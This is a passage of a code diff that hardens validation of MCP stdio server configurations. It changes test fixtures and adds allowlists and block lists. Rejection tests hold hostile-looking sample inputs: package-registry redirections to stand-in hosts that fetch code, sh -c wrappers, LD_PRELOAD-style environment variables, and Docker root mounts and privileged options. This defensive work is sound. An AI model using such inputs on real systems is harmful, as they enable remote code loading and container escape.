+            "mcp_server": {
+                "name": "test_server",
+                "config": {"command": "uvx", "args": ["test-mcp-server"]},
+            },
             "tool": "",
             "use_cache": False,
         }
@@ -62,7 +65,7 @@ def mock_tools_list(self, mock_tool):
     @pytest.fixture
     def mock_server_config(self):
         """Mock server configuration."""
-        return {"command": "uvx test-mcp-server", "args": [], "env": {}}
+        return {"command": "uvx", "args": ["test-mcp-server"], "env": {}}
 
     async def component_setup(self, component_class: type[Any], default_kwargs: dict[str, Any]) -> MCPToolsComponent:
         component_instance = await super().component_setup(component_class, default_kwargs)
diff --git a/src/backend/tests/unit/components/models_and_agents/test_mcp_component_dynamic.py b/src/backend/tests/unit/components/models_and_agents/test_mcp_component_dynamic.py
index aba360af8995..f6eda2fcbe15 100644
--- a/src/backend/tests/unit/components/models_and_agents/test_mcp_component_dynamic.py
+++ b/src/backend/tests/unit/components/models_and_agents/test_mcp_component_dynamic.py
@@ -297,7 +297,7 @@ class TestUpdateBuildConfigRefresh:
     @staticmethod
     def _build_config(**overrides):
         config = {
-            "mcp_server": {"value": {"name": "srv", "config": {"command": "uvx test"}}},
+            "mcp_server": {"value": {"name": "srv", "config": {"command": "uvx", "args": ["test"]}}},
             "tool": {"show": True, "options": ["stale"], "value": "", "placeholder": "Select a tool"},
             "tool_placeholder": {"tool_mode": False},
             "tools_metadata": {"show": False},
@@ -318,11 +318,11 @@ async def test_refresh_bypasses_existing_options(self) -> None:
         with patch.object(
             component,
             "update_tool_list",
-            new=AsyncMock(return_value=([tool], {"name": "srv", "config": {"command": "uvx test"}})),
+            new=AsyncMock(return_value=([tool], {"name": "srv", "config": {"command": "uvx", "args": ["test"]}})),
         ) as mocked_update:
             build_config = await component.update_build_config(
                 self._build_config(is_refresh=True),
-                {"name": "srv", "config": {"command": "uvx test"}},
+                {"name": "srv", "config": {"command": "uvx", "args": ["test"]}},
                 "mcp_server",
             )
 
@@ -342,7 +342,7 @@ async def test_mcp_server_error_placeholder_includes_root_cause(self) -> None:
         ):
             build_config = await component.update_build_config(
                 self._build_config(),
-                {"name": "srv", "config": {"command": "uvx test"}},
+                {"name": "srv", "config": {"command": "uvx", "args": ["test"]}},
                 "mcp_server",
             )
 
diff --git a/src/backend/tests/unit/components/models_and_agents/test_mcp_component_flow_reload.py b/src/backend/tests/unit/components/models_and_agents/test_mcp_component_flow_reload.py
index 67aa0a6994a7..2bb0f26155e9 100644
--- a/src/backend/tests/unit/components/models_and_agents/test_mcp_component_flow_reload.py
+++ b/src/backend/tests/unit/components/models_and_agents/test_mcp_component_flow_reload.py
@@ -30,7 +30,10 @@ def file_names_mapping(self):
     @pytest.fixture
     def default_kwargs(self):
         return {
-            "mcp_server": {"name": "test_server", "config": {"command": "uvx test-mcp-server"}},
+            "mcp_server": {
+                "name": "test_server",
+                "config": {"command": "uvx", "args": ["test-mcp-server"]},
+            },
             "tool": "saved_tool",
             "use_cache": False,
         }
diff --git a/src/backend/tests/unit/test_mcp_command_injection_security.py b/src/backend/tests/unit/test_mcp_command_injection_security.py
index efad60033beb..396cda408bc9 100644
--- a/src/backend/tests/unit/test_mcp_command_injection_security.py
+++ b/src/backend/tests/unit/test_mcp_command_injection_security.py
@@ -33,10 +33,18 @@ def test_allowed_command_with_path_accepted(self):
         config = MCPServerConfig(command="/usr/bin/node", args=["server.js"])
         assert config.command == "/usr/bin/node"
 
+        # Unix-style path with spaces in a parent directory
+        config = MCPServerConfig(command="/opt/Node Tools/node", args=["server.js"])
+        assert config.command == "/opt/Node Tools/node"
+
         # Windows-style path
         config = MCPServerConfig(command="C:\\Program Files\\nodejs\\node.exe", args=["server.js"])
         assert config.command == "C:\\Program Files\\nodejs\\node.exe"
 
+        # Windows-style path using forward slashes
+        config = MCPServerConfig(command="C:/Program Files/nodejs/node.exe", args=["server.js"])
+        assert config.command == "C:/Program Files/nodejs/node.exe"
+
     def test_dangerous_command_rejected(self):
         """Test that dangerous commands are rejected."""
         dangerous_commands = [
@@ -107,22 +115,23 @@ def test_c_flag_blocked_for_non_shell_commands(self):
             error_msg = str(exc_info.value)
             assert "-c" in error_msg.lower() or "/c" in error_msg.lower()
 
-    def test_command_with_arguments_in_string_accepted(self):
-        """Test that commands with arguments in a single string are accepted (frontend compatibility).
-
-        Frontend tests pass commands like "uvx mcp-server-fetch" as a single string.
-        The validation should extract only the base command (uvx) for allowlist checking.
-        """
-        # This is how the frontend test passes the command
-        config = MCPServerConfig(command="uvx mcp-server-fetch", args=None)
-        assert config.command == "uvx mcp-server-fetch"
-
-        # Other examples
-        config = MCPServerConfig(command="npx @modelcontextprotocol/server-fetch", args=None)
-        assert config.command == "npx @modelcontextprotocol/server-fetch"
-
-        config = MCPServerConfig(command="python -m mcp_server", args=None)
-        assert config.command == "python -m mcp_server"
+    @pytest.mark.parametrize(
+        "command",
+        [
+            "uvx mcp-server-fetch",
+            "npx -y @modelcontextprotocol/server-fetch",
+            "python -m mcp_server",
+            "node\t--version",
+            " node",
+            "node ",
+            "/usr/bin/node --version",
+            "C:\\Program Files\\nodejs\\node.exe --version",
+        ],
+    )
+    def test_command_with_embedded_arguments_rejected(self, command):
+        """The command field is one executable; all options belong in validated args."""
+        with pytest.raises(ValidationError, match="single executable"):
+            MCPServerConfig(command=command, args=[])
 
     def test_command_injection_via_semicolon_rejected(self):
         """Test that command injection via semicolon is rejected."""
@@ -651,6 +660,27 @@ def test_safe_env_vars_accepted(self):
         assert config.env is not None
         assert config.env["DEBUG"] == "true"
 
+    @pytest.mark.parametrize(
+        "env_var",
+        ["NPM_CONFIG_REGISTRY", "UV_DEFAULT_INDEX", "UV_INDEX_URL", "PIP_INDEX_URL"],
+    )
+    def test_package_source_env_vars_rejected(self, env_var):
+        with pytest.raises(ValidationError, match="not allowed"):
+            MCPServerConfig(
+                command="uvx",
+                args=["mcp-server"],
+                env={env_var: "https://packages.example.invalid/simple"},
+            )
+
+    def test_provider_credential_env_var_remains_accepted(self):
+        config = MCPServerConfig(
+            command="npx",
+            args=["@modelcontextprotocol/server-github"],
+            env={"GITHUB_PERSONAL_ACCESS_TOKEN": "provider-token"},  # pragma: allowlist secret
+        )
+
+        assert config.env == {"GITHUB_PERSONAL_ACCESS_TOKEN": "provider-token"}
+
     def test_none_env_accepted(self):
         """Test that None env is accepted."""
         config = MCPServerConfig(command="node", args=["server.js"])
@@ -698,6 +728,84 @@ def test_docker_cap_add_rejected(self):
         error_msg = str(exc_info.value)
         assert "not allowed" in error_msg.lower()
 
+    @pytest.mark.parametrize(
+        "host_access_args",
+        [
+            ["-v", "/:/host"],
+            ["-iv", "/:/host"],
+            ["--volume", "/var/run:/host/run"],
+            ["--volume=/var/run:/host/run"],
+            ["--mount", "type=bind,source=/,target=/host"],
+            ["--mount=type=bind,source=/,target=/host"],
+            ["--volumes-from", "other"],
+            ["--device", "/dev/example"],
+            ["--device=/dev/example"],
+            ["--device-cgroup-rule", "b 8:0 rwm"],
+            ["--pid", "host"],
+            ["--ipc=container:other"],
+            ["--uts", "host"],
+            ["--network", "host"],
+            ["--net=container:other"],
+            ["--security-opt", "seccomp=unconfined"],
+            ["--security-opt=apparmor=unconfined"],
+            ["--security-opt", "label:disable"],
+        ],
+    )
+    def test_docker_host_access_args_rejected(self, host_access_args):
+        with pytest.raises(ValidationError, match="not allowed"):
+            MCPServerConfig(command="docker", args=["run", *host_access_args, "mcp-image"])
+
+    @pytest.mark.parametrize(
+        ("command", "args"),
+        [
+            ("uvx", ["--default-index", "https://packages.example.invalid/simple", "mcp-server"]),
+            ("uvx", ["--index-url=https://packages.example.invalid/simple", "mcp-server"]),
+            ("uvx", ["--from", "git+https://code.example.invalid/server.git", "mcp-server"]),
+            ("uvx", ["https://packages.example.invalid/server.whl"]),
+            ("npx", ["--registry=https://packages.example.invalid", "@example/mcp-server"]),
+            ("npx", ["--package", "git+https://code.example.invalid/server.git"]),
+            ("npx", ["https://packages.example.invalid/server.tgz"]),
+            ("sh", ["-c", "uvx --default-index https://packages.example.invalid/simple mcp-server"]),
+            ("cmd", ["/c", "docker", "run", "--mount", "type=bind,source=/,target=/host", "mcp-image"]),
+        ],
+    )
+    def test_package_source_selection_args_rejected(self, command, args):
+        with pytest.raises(ValidationError, match="not allowed"):
+            MCPServerConfig(command=command, args=args)
+
+    def test_trusted_uvx_from_package_is_accepted(self):
+        config = MCPServerConfig(
+            command="uvx",
+            args=["--from", "lfx", "lfx-mcp"],
+            env={
+                "LANGFLOW_SERVER_URL": "https://langflow.example.com",
+                "LANGFLOW_API_KEY": "token",  # pragma: allowlist secret
+            },
+        )
+
+        assert config.args == ["--from", "lfx", "lfx-mcp"]
+
+    def test_isolated_docker_options_remain_accepted(self):
+        config = MCPServerConfig(
+            command="docker",
+            args=[
+                "run",
+                "--rm",
+                "-i",
+                "--entrypoint",
+                "mcp-server",
+                "-u",
+                "1000",
+                "--network",
+                "bridge",
+                "--security-opt",
+                "no-new-privileges",
+                "mcp-image",
+            ],
+        )
+
+        assert config.command == "docker"
+
     def test_docker_safe_args_accepted(self):
         """Test that safe Docker arguments are accepted."""
         config = MCPServerConfig(
diff --git a/src/frontend/tests/extended/features/mcp-server.spec.ts b/src/frontend/tests/extended/features/mcp-server.spec.ts
index 926726ed9b59..7018c646b5af 100644
--- a/src/frontend/tests/extended/features/mcp-server.spec.ts
+++ b/src/frontend/tests/extended/features/mcp-server.spec.ts
@@ -53,7 +53,8 @@ test(
     const testName = `test_server_${randomSuffix}`;
     await page.getByTestId("stdio-name-input").fill(testName);
 
-    await page.getByTestId("stdio-command-input").fill("uvx mcp-server-fetch");
+    await page.getByTestId("stdio-command-input").fill("uvx");
+    await page.getByTestId("stdio-args_0").fill("mcp-server-fetch");
 
     await page.getByTestId("add-mcp-server-button").click();
 
@@ -151,7 +152,10 @@ test(
     });
 
     expect(await page.getByTestId("stdio-command-input").inputValue()).toBe(
-      "uvx mcp-server-fetch",
+      "uvx",
+    );
+    expect(await page.getByTestId("stdio-args_0").inputValue()).toBe(
+      "mcp-server-fetch",
     );
 
     await page.waitForTimeout(500);
@@ -225,7 +229,8 @@ test(
 
     await page.waitForTimeout(500);
 
-    await page.getByTestId("stdio-command-input").fill("uvx mcp-server-fetch");
+    await page.getByTestId("stdio-command-input").fill("uvx");
+    await page.getByTestId("stdio-args_0").fill("mcp-server-fetch");
 
     await page.getByTestId("add-mcp-server-button").click();
 
@@ -350,10 +355,11 @@ test(
     // Test data with random suffix
     const randomSuffix = Math.floor(Math.random() * 90000) + 10000; // 5-digit random number
     const testName = `test_stdio_server_${randomSuffix}`;
-    const testCommand = "uvx mcp-server-test";
-    const testArg1 = "--verbose";
-    const testArg2 = "--port=8080";
-    const testArg3 = "--config=test.json";
+    const testCommand = "uvx";
+    const testArg1 = "mcp-server-test";
+    const testArg2 = "--verbose";
+    const testArg3 = "--port=8080";
+    const testArg4 = "--config=test.json";
     const testEnvKey1 = "NODE_ENV";
     const testEnvValue1 = "production";
     const testEnvKey2 = "DEBUG_MODE";
@@ -374,6 +380,10 @@ test(
     await page.getByTestId("input-list-plus-btn_-0").click();
     await page.getByTestId("stdio-args_2").fill(testArg3);
 
+    // Add fourth argument
+    await page.getByTestId("input-list-plus-btn_-0").click();
+    await page.getByTestId("stdio-args_3").fill(testArg4);
+
     // Add first environment variable
     await page.getByTestId("stdio-env-key-0").fill(testEnvKey1);
     await page.getByTestId("stdio-env-value-0").fill(testEnvValue1);
@@ -428,6 +438,7 @@ test(
     expect(await page.getByTestId("stdio-args_0").inputValue()).toBe(testArg1);
     expect(await page.getByTestId("stdio-args_1").inputValue()).toBe(testArg2);
     expect(await page.getByTestId("stdio-args_2").inputValue()).toBe(testArg3);
+    expect(await page.getByTestId("stdio-args_3").inputValue()).toBe(testArg4);
     expect(await page.getByTestId("stdio-env-key-0").last().inputValue()).toBe(
       testEnvKey1,
     );
@@ -686,7 +697,8 @@ test(
     const testName = `test_server_${randomSuffix}`;
     await page.getByTestId("stdio-name-input").fill(testName);
 
-    await page.getByTestId("stdio-command-input").fill("uvx mcp-server-fetch");
+    await page.getByTestId("stdio-command-input").fill("uvx");
+    await page.getByTestId("stdio-args_0").fill("mcp-server-fetch");
 
     await page.getByTestId("add-mcp-server-button").click();
 
@@ -797,10 +809,13 @@ test(
     });
 
     expect(await page.getByTestId("stdio-command-input").inputValue()).toBe(
-      "uvx mcp-server-fetch",
+      "uvx",
+    );
+    expect(await page.getByTestId("stdio-args_0").inputValue()).toBe(
+      "mcp-server-fetch",
     );
 
-    await page.getByTestId("stdio-command-input").fill("uvx mcp-server-time");
+    await page.getByTestId("stdio-args_0").fill("mcp-server-time");
 
     await page.getByTestId("add-mcp-server-button").click();
 
@@ -912,7 +927,8 @@ test(
 
     await page.getByTestId("stdio-name-input").fill(testName);
 
-    await page.getByTestId("stdio-command-input").fill("uvx mcp-server-fetch");
+    await page.getByTestId("stdio-command-input").fill("uvx");
+    await page.getByTestId("stdio-args_0").fill("mcp-server-fetch");
 
     await page.getByTestId("add-mcp-server-button").click();
 
diff --git a/src/lfx/src/lfx/base/mcp/security.py b/src/lfx/src/lfx/base/mcp/security.py
new file mode 100644
index 000000000000..163aa03d19ad
--- /dev/null
+++ b/src/lfx/src/lfx/base/mcp/security.py
@@ -0,0 +1,218 @@
+"""Shared security policy for MCP stdio server configurations.
+
+MCP server configs can come from the database or be embedded directly in a flow/tweak.
+Keeping the policy in ``lfx`` lets both the REST schema and the execution boundary call the
+same validation without requiring the full Langflow package in standalone LFX deployments.
+"""
+
+from pathlib import Path
+
+from lfx.base.mcp.source_policy import (
+    is_package_manager_config_env_var,
+    parse_mcp_shell_wrapper,
+    validate_mcp_stdio_source_policy,
+)
+
+# Shell wrappers remain supported for existing cross-platform configurations, but may only
+# wrap another command from this allowlist.
+ALLOWED_MCP_COMMANDS = frozenset(
+    {
+        "node",
+        "python",
+        "python3",
+        "npx",
+        "uvx",
+        "docker",
+        "cmd",
+        "sh",
+        "bash",
+    }
+)
+
+DANGEROUS_SHELL_CHARS = frozenset({";", "|", "&", "$", "`", "<", ">", "(", ")", "\n", "\r"})
+DANGEROUS_KEYWORDS = frozenset(
+    {
+        "-c",
+        "-e",
+        "-y",
+        "--yes",
+        "pip",
+        "install",
+        "npm",
+        "yarn",
+        "pnpm",
+        "eval",
+        "exec",
+    }
+)
+
+# Environment variables that can make an allowlisted executable load attacker-controlled code
+# or configuration. Comparisons are case-insensitive.
+DANGEROUS_ENV_VARS = frozenset(
+    {
+        "ld_preload",
+        "ld_library_path",
+        "ld_audit",
+        "dyld_insert_libraries",
+        "dyld_library_path",
+        "gconv_path",
+        "path",
+        "node_options",
+        "node_extra_ca_certs",
+        "pythonstartup",
+        "pythonpath",
+        "home",
+        "xdg_config_home",
+        "xdg_data_home",
+        "tmpdir",
+        "tmp",
+        "temp",
+        "hostaliases",
+        "localdomain",
+        "res_options",
+        "getconf_dir",
+        "bash_env",
+        "env",
+        "bash_func_",
+        "shellopts",
+        "bashopts",
+        "ps4",
+        "ifs",
+        "cdpath",
+    }
+)
+
+# Backward-compatible name previously exported by ``lfx.base.mcp.util``.
+DANGEROUS_MCP_ENV_VARS = DANGEROUS_ENV_VARS
+
+SHELL_WRAPPERS = frozenset({"cmd", "sh", "bash"})
+SHELL_EXEC_FLAGS = frozenset({"-c", "/c"})
+MAX_SHELL_WRAPPER_DEPTH = 4
+
+
+class MCPStdioSecurityError(ValueError):
+    """Raised when an MCP stdio config violates the execution policy."""
+
+
+def is_dangerous_mcp_env_var(key: str) -> bool:
+    """Return whether an environment variable can alter MCP process execution."""
+    lower_key = key.lower()
+    return (
+        lower_key in DANGEROUS_ENV_VARS
+        or lower_key.startswith("bash_func_")
+        or is_package_manager_config_env_var(lower_key)
+    )
+
+
+def extract_base_command(command: str) -> str:
+    r"""Extract an executable name from a validated platform-specific path."""
+    base_command = Path(command.replace("\\", "/")).name
+    return base_command[:-4] if base_command.lower().endswith(".exe") else base_command
+
+
+def validate_mcp_stdio_config(
+    command: str | None,
+    args: list[str] | None,
+    env: dict[str, str] | None,
+) -> None:
+    """Validate an MCP stdio command, arguments, and environment before use.
+
+    This mirrors the established ``MCPServerConfig`` policy at the execution boundary so
+    flow-embedded and tweak-provided configs cannot bypass database/API validation.
+
+    Raises:
+        MCPStdioSecurityError: If the config violates the command, argument, environment,
+            shell-wrapper, or Docker policy.
+    """
+    if command:
+        # The command field is exactly one executable. Options belong in the structured args
+        # list so every policy layer sees the same argv. Parent-directory spaces remain valid
+        # for paths such as ``C:\Program Files\node.exe`` and ``/opt/Node Tools/node``.
+        normalized = command.replace("\\", "/")
+        executable_name = normalized.rsplit("/", 1)[-1]
+        first_space = command.find(" ")
+        first_separator = min((index for index, char in enumerate(command) if char in "/\\"), default=-1)
+        invalid_whitespace = command != command.strip() or any(char.isspace() and char != " " for char in command)
+        space_without_path_prefix = first_space >= 0 and not 0 <= first_separator < first_space
+        if (
+            not executable_name
+            or invalid_whitespace
+            or space_without_path_prefix
+            or any(char.isspace() for char in executable_name)
+        ):
+            msg = (
+                "MCP stdio command must be a single executable name or path; "
+                "put options and arguments in the 'args' field"
+            )
+            raise MCPStdioSecurityError(msg)
+
+    _validate_mcp_stdio_config(command, args, env, depth=0, seen=frozenset())
+
+
+def _validate_mcp_stdio_config(
+    command: str | None,
+    args: list[str] | None,
+    env: dict[str, str] | None,
+    *,
+    depth: int,
+    seen: frozenset[tuple[str, tuple[str, ...]]],
+) -> None:
+    executable = command
+    combined_args = list(args or [])
+    if command:
+        signature = (executable, tuple(combined_args))
+        if signature in seen:
+            msg = "MCP stdio shell wrapper recursion is not allowed"
+            raise MCPStdioSecurityError(msg)
+        seen = seen | {signature}
+
+        base_command = extract_base_command(executable)
+        if base_command not in ALLOWED_MCP_COMMANDS:
+            allowed_list = ", ".join(sorted(ALLOWED_MCP_COMMANDS))
+            msg = f"Command '{base_command}' is not allowed for security reasons. Allowed commands: {allowed_list}"
+            raise MCPStdioSecurityError(msg)
+
+    if executable and combined_args:
+        base_command = extract_base_command(executable)
+        has_shell_exec_flag = any(arg in SHELL_EXEC_FLAGS for arg in combined_args)
+        if has_shell_exec_flag and base_command not in SHELL_WRAPPERS:
+            msg = f"Flag -c or /c is only allowed with shell wrappers (cmd/sh/bash), not with '{base_command}'"
+            raise MCPStdioSecurityError(msg)
+
+    if combined_args:
+        for arg in combined_args:
+            for char in DANGEROUS_SHELL_CHARS:
+                if char in arg:
+                    msg = f"Argument contains dangerous shell metacharacter '{char}': {arg}"
+                    raise MCPStdioSecurityError(msg)
+
+        for arg in combined_args:
+            arg_lower = arg.lower()
+            if arg_lower in DANGEROUS_KEYWORDS and arg_lower not in SHELL_EXEC_FLAGS:
+                msg = f"Argument '{arg}' is not allowed for security reasons"
+                raise MCPStdioSecurityError(msg)
+
+    if env:
+        for key in env:
+            if is_dangerous_mcp_env_var(key):
+                msg = f"Environment variable '{key}' is not allowed for security reasons"
+                raise MCPStdioSecurityError(msg)
+
+    # Package launchers and Docker have command-aware policy beyond the generic
+    # argument checks above. Keep that policy in source_policy and call it here
+    # so API, embedded, legacy, and pre-spawn validation cannot drift.
+    try:
+        validate_mcp_stdio_source_policy(executable, combined_args)
+    except ValueError as exc:
+        raise MCPStdioSecurityError(str(exc)) from exc
+
+    if executable and extract_base_command(executable) in SHELL_WRAPPERS:
+        try:
+            wrapped = parse_mcp_shell_wrapper(executable, combined_args)
+        except ValueError as exc:
+            raise MCPStdioSecurityError(str(exc)) from exc
+        if wrapped:
+            if depth >= MAX_SHELL_WRAPPER_DEPTH:
+                msg = f"MCP stdio shell wrapper nesting exceeds {MAX_SHELL_WRAPPER_DEPTH} levels"
+                raise MCPStdioSecurityError(msg)
+            _validate_mcp_stdio_config(wrapped[0], wrapped[1], env, depth=depth + 1, seen=seen)
diff --git a/src/lfx/src/lfx/base/mcp/source_policy.py b/src/lfx/src/lfx/base/mcp/source_policy.py
new file mode 100644
index 000000000000..5c6dff28228f
--- /dev/null
+++ b/src/lfx/src/lfx/base/mcp/source_policy.py
@@ -0,0 +1,355 @@
+"""Package-source and Docker host-access policy for MCP stdio servers.
+
+Approved MCP launchers such as ``uvx`` and ``npx`` still install code before
+starting a server. Their registry/configuration controls therefore belong to
+Langflow's execution boundary, not to tenant-authored server configuration.
+This module keeps that command-aware policy small and dependency-free so it can
+be enforced both when the REST model is written and immediately before spawn.
+"""
+
+from __future__ import annotations
+
+import re
+import shlex
+from pathlib import Path
+
+PACKAGE_MANAGER_CONFIG_ENV_PREFIXES = ("npm_config_", "pip_", "uv_")
+WINDOWS_DRIVE_PREFIX_LENGTH = 3
+
+UVX_BLOCKED_SOURCE_FLAGS = frozenset(
+    {
+        "--index",
+        "--default-index",
+        "--index-url",
+        "--extra-index-url",
+        "--find-links",
+        "--no-index",
+        "--config-file",
+        "--env-file",
+        "--with-editable",
+        "--with-requirements",
+        "--constraints",
+        "--build-constraints",
+        "--overrides",
+        "--directory",
+        "--project",
+    }
+)
+UVX_BLOCKED_SHORT_SOURCE_FLAGS = frozenset({"-i", "-f", "-c", "-b"})
+UVX_TRUSTED_PACKAGE_FLAGS = frozenset({"--from", "--with", "-w"})
+
+NPX_BLOCKED_SOURCE_FLAGS = frozenset({"--registry", "--userconfig", "--globalconfig"})
+NPX_TRUSTED_PACKAGE_FLAGS = frozenset({"--package"})
+
+DOCKER_BLOCKED_HOST_ACCESS_FLAGS = frozenset(
+    {
+        "--privileged",
+        "--cap-add",
+        "-v",
+        "--volume",
+        "--volumes-from",
+        "--mount",
+        "--device",
+        "--device-cgroup-rule",
+    }
+)
+DOCKER_CLUSTERABLE_SHORT_FLAGS = frozenset({"d", "i", "P", "q", "t"})
+DOCKER_NAMESPACE_FLAGS = frozenset({"--pid", "--ipc", "--uts", "--net", "--network"})
+DOCKER_DANGEROUS_SECURITY_OPT_SUBSTRINGS = ("unconfined", "disable")
+SHELL_CONTROL_CHARS = frozenset({";", "|", "&", "$", "`", "<", ">", "\n", "\r"})
+
+# Options whose following token is a value, not uvx's package/command. Source-
+# selecting options are handled separately above. This lets a later URL remain
+# a legitimate MCP server argument after the trusted package token.
+UVX_VALUE_OPTIONS = frozenset(
+    {
+        "--python-platform",
+        "--torch-backend",
+        "--index-strategy",
+        "--keyring-provider",
+        "--resolution",
+        "--prerelease",
+        "--fork-strategy",
+        "--exclude-newer",
+        "--exclude-newer-package",
+        "--upgrade-package",
+        "-P",
+        "--reinstall-package",
+        "--link-mode",
+        "--config-setting",
+        "-C",
+        "--config-settings-package",
+        "--no-build-isolation-package",
+        "--no-build-package",
+        "--no-binary-package",
+        "--cache-dir",
+        "--refresh-package",
+        "--python",
+        "-p",
+        "--color",
+        "--allow-insecure-host",
+    }
+)
+NPX_VALUE_OPTIONS = frozenset({"--workspace", "-w", "--allow-scripts"})
+
+_PYTHON_INDEX_REQUIREMENT = re.compile(
+    r"^[A-Za-z0-9][A-Za-z0-9._-]*"
+    r"(?:\[[A-Za-z0-9._,-]+\])?"
+    r"(?:(?:===|==|~=|!=|<=|>=|<|>)[A-Za-z0-9*_.+!-]+"
+    r"(?:,(?:===|==|~=|!=|<=|>=|<|>)[A-Za-z0-9*_.+!-]+)*)?$"
+)
+_NPM_INDEX_PACKAGE = re.compile(
+    r"^(?:@[A-Za-z0-9][A-Za-z0-9._-]*/)?"
+    r"[A-Za-z0-9][A-Za-z0-9._-]*"
+    r"(?:@[A-Za-z0-9][A-Za-z0-9._+~^<>=*-]*)?$"
+)
+_LOCAL_ARCHIVE_SUFFIXES = (".whl", ".zip", ".tar.gz", ".tar.bz2", ".tgz")
+
+
+def is_package_manager_config_env_var(key: str) -> bool:
+    """Return whether *key* can reconfigure an approved package launcher."""
+    return key.lower().startswith(PACKAGE_MANAGER_CONFIG_ENV_PREFIXES)
+
+
+def _base_command(command: str) -> str:
+    normalized = command.replace("\\", "/")
+    base = Path(normalized).name.lower()
+    return base.removesuffix(".exe")
+
+
+def _looks_like_file_path(command: str) -> bool:
+    return (
+        command.startswith(("/", "./", "../"))
+        or "\\" in command
+        or (len(command) >= WINDOWS_DRIVE_PREFIX_LENGTH and command[1:3] == ":\\")
+    )
+
+
+def split_mcp_stdio_command(command: str, args: list[str] | None) -> tuple[str, list[str]]:
+    """Normalize a legacy packed command into an executable and argv list."""
+    combined_args = list(args or [])
+    executable = command
+    if command and not _looks_like_file_path(command):
+        try:
+            command_parts = shlex.split(command)
+        except ValueError as exc:
+            msg = "MCP stdio command is not allowed because it cannot be parsed safely"
+            raise ValueError(msg) from exc
+        if command_parts:
+            executable = command_parts[0]
+            combined_args = command_parts[1:] + combined_args
+    return executable, combined_args
+
+
+def _split_command(command: str, args: list[str] | None) -> tuple[str, list[str]]:
+    executable, combined_args = split_mcp_stdio_command(command, args)
+    return _base_command(executable), combined_args
+
+
+def _raise_disallowed(command: str, value: str) -> None:
+    msg = f"Argument '{value}' is not allowed for MCP stdio command '{command}'"
+    raise ValueError(msg)
+
+
+def _option_value(args: list[str], index: int, command: str) -> tuple[str, int]:
+    _, separator, inline_value = args[index].partition("=")
+    if separator:
+        if not inline_value:
+            _raise_disallowed(command, args[index])
+        return inline_value, index + 1
+    if index + 1 >= len(args):
+        _raise_disallowed(command, args[index])
+    return args[index + 1], index + 2
+
+
+def _validate_python_index_requirement(value: str, command: str) -> None:
+    if value.lower().endswith(_LOCAL_ARCHIVE_SUFFIXES) or not _PYTHON_INDEX_REQUIREMENT.fullmatch(value):
+        _raise_disallowed(command, value)
+
+
+def _validate_npm_index_package(value: str, command: str) -> None:
+    if value.lower().endswith(_LOCAL_ARCHIVE_SUFFIXES) or not _NPM_INDEX_PACKAGE.fullmatch(value):
+        _raise_disallowed(command, value)
+
+
+def _matches_short_option(arg: str, options: frozenset[str]) -> bool:
+    return any(arg.startswith(option) for option in options)
+
+
+def _validate_uvx_args(args: list[str]) -> None:
+    has_from = False
+    consumed_value_indexes: set[int] = set()
+    index = 0
+    while index < len(args):
+        arg = args[index]
+        if arg == "--":
+            break
+
+        flag = arg.split("=", 1)[0]
+        if flag in UVX_BLOCKED_SOURCE_FLAGS or _matches_short_option(arg, UVX_BLOCKED_SHORT_SOURCE_FLAGS):
+            _raise_disallowed("uvx", arg)
+
+        if flag in UVX_TRUSTED_PACKAGE_FLAGS:
+            value, next_index = _option_value(args, index, "uvx")
+            _validate_python_index_requirement(value, "uvx")
+            has_from = has_from or flag == "--from"
+            if next_index == index + 2:
+                consumed_value_indexes.add(index + 1)
+            index = next_index
+            continue
+        if arg.startswith("-w") and not arg.startswith("--"):
+            value = arg[2:].removeprefix("=")
+            _validate_python_index_requirement(value, "uvx")
+        index += 1
+
+    # Without --from, uvx's first positional is the package source. With a
+    # trusted --from package it is merely the console-script name.
+    if has_from:
+        return
+
+    index = 0
+    while index < len(args):
+        if index in consumed_value_indexes:
+            index += 1
+            continue
+        arg = args[index]
+        if arg == "--":
+            if index + 1 < len(args):
+                _validate_python_index_requirement(args[index + 1], "uvx")
+            return
+        flag = arg.split("=", 1)[0]
+        if flag in UVX_VALUE_OPTIONS and "=" not in arg:
+            index += 2
+            continue
+        if arg.startswith("-"):
+            index += 1
+            continue
+        _validate_python_index_requirement(arg, "uvx")
+        return
+
+
+def _validate_npx_args(args: list[str]) -> None:
+    has_package_option = False
+    consumed_value_indexes: set[int] = set()
+    index = 0
+    while index < len(args):
+        arg = args[index]
+        if arg == "--":
+            break
+        flag = arg.split("=", 1)[0]
+        if flag in NPX_BLOCKED_SOURCE_FLAGS:
+            _raise_disallowed("npx", arg)
+        if flag in NPX_TRUSTED_PACKAGE_FLAGS:
+            value, next_index = _option_value(args, index, "npx")
+            _validate_npm_index_package(value, "npx")
+            has_package_option = True
+            if next_index == index + 2:
+                consumed_value_indexes.add(index + 1)
+            index = next_index
+            continue
+        index += 1
+
+    # --package pins the installed package; the first positional is then its
+    # console command. Otherwise the first positional is the package source.
+    if has_package_option:
+        return
+
+    index = 0
+    while index < len(args):
+        if index in consumed_value_indexes:
+            index += 1
+            continue
+        arg = args[index]
+        if arg == "--":
+            if index + 1 < len(args):
+                _validate_npm_index_package(args[index + 1], "npx")
+            return
+        flag = arg.split("=", 1)[0]
+        if flag in NPX_VALUE_OPTIONS and "=" not in arg:
+            index += 2
+            continue
+        if arg.startswith("-"):
+            index += 1
+            continue
+        _validate_npm_index_package(arg, "npx")
+        return
+
+
+def _validate_docker_args(args: list[str]) -> None:
+    for index, arg in enumerate(args):
+        flag = arg.split("=", 1)[0]
+        short_flag_cluster = flag[1:] if flag.startswith("-") and not flag.startswith("--") else ""
+        volume_index = short_flag_cluster.find("v")
+        has_volume_short_flag = volume_index >= 0 and all(
+            short_flag in DOCKER_CLUSTERABLE_SHORT_FLAGS for short_flag in short_flag_cluster[:volume_index]
+        )
+        if flag in DOCKER_BLOCKED_HOST_ACCESS_FLAGS or has_volume_short_flag:
+            _raise_disallowed("docker", arg)
+        if flag in DOCKER_NAMESPACE_FLAGS:
+            value, _ = _option_value(args, index, "docker")
+            value = value.lower()
+            if value == "host" or value.startswith("container:"):
+                _raise_disallowed("docker", arg)
+        if flag == "--security-opt":
+            value, _ = _option_value(args, index, "docker")
+            if any(part in value.lower() for part in DOCKER_DANGEROUS_SECURITY_OPT_SUBSTRINGS):
+                _raise_disallowed("docker", arg)
+
+
+def _parse_shell_payload(command: str, payload: str) -> tuple[str, list[str]]:
+    if any(char in payload for char in SHELL_CONTROL_CHARS):
+        _raise_disallowed(command, payload)
+    try:
+        parts = shlex.split(payload)
+    except ValueError as exc:
+        msg = f"Shell wrapper '{command}' payload cannot be parsed safely"
+        raise ValueError(msg) from exc
+    if not parts:
+        _raise_disallowed(command, payload)
+    return parts[0], parts[1:]
+
+
